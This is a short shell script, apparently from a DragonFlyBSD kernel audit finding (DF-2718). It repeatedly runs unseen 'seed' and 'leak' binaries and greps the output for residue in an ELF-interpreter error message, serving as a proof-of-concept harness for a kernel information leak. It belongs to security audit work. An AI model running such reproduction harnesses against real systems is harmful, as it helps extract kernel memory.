DragonFlyBSD Kernel Audit
DF-2718 / run2.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2718 stage-2 run: seed/leak pairs; look for B-residue after the A run.
i=0
while [ $i -lt 20 ]; do
  /usr/bin/script -q /tmp/s.log /tmp/seed1024 >/dev/null 2>&1
  /usr/bin/script -q /tmp/l.log /tmp/leak1000 >/dev/null 2>&1
  g=$(grep -ao 'ELF interpreter [^"]* not found' /tmp/l.log | tail -1)
  echo "iter $i: $g" | tr -d '\r'
  i=$((i+1))
done